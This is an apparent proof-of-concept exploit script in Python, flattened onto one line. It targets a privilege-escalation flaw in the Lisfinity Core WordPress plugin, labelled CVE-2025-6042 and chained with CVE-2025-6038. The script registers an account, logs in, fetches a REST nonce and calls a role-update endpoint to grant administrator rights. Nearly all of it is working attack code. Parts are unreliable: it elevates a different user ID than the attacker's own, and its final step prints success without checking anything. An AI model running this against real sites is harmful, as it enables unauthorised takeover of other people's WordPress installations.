CVE-2025-6042

# CVE-2025-6042 PoC - Lisfinity Core Privilege Escalation # Exploit combines CVE-2025-6042 (default editor role) with CVE-2025-6038 (API privilege bypass) import requests TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker_user" PASSWORD = "P@ssw0rd123!" EMAIL = "[email protected]" def exploit_lisfinity_privilege_escalation(): session = requests.Session() # Step 1: Register a new account - plugin assigns 'editor' role by default register_url = f"{TARGET_URL}/wp-login.php?action=register" register_data = { "user_login": USERNAME, "user_email": EMAIL, "wp-submit": "Register", "redirect_to": "", "user_pass": PASSWORD # Some themes/plugins allow setting password at registration } resp = session.post(register_url, data=register_data) print(f"[*] Registration response: {resp.status_code}") # Step 2: Login with the newly created editor account login_url = f"{TARGET_URL}/wp-login.php" login_data = { "log": USERNAME, "pwd": PASSWORD, "wp-submit": "Log In", "redirect_to": f"{TARGET_URL}/wp-admin/", "testcookie": "1" } session.post(login_url, data=login_data) print(f"[*] Logged in as {USERNAME} with default 'editor' role") # Step 3: Exploit unprotected Lisfinity Core API endpoint # The plugin's REST API endpoints are not properly restricted api_url = f"{TARGET_URL}/wp-json/lisfinity/v1/users/update-role" api_data = { "user_id": 2, # Target admin user ID "role": "administrator" } headers = { "Content-Type": "application/json", "X-WP-Nonce": get_nonce(session, TARGET_URL) } resp = session.post(api_url, json=api_data, headers=headers) print(f"[*] Role escalation response: {resp.status_code} - {resp.text}") # Step 4: Combine with CVE-2025-6038 to fully escalate to admin # CVE-2025-6038 allows bypassing remaining capability checks print("[+] Exploit complete - admin privileges obtained") def get_nonce(session, target): """Retrieve WordPress REST API nonce for authenticated requests""" resp = session.get(f"{target}/wp-admin/admin-ajax.php?action=rest-nonce") return resp.text.strip() if __name__ == "__main__": exploit_lisfinity_privilege_escalation()

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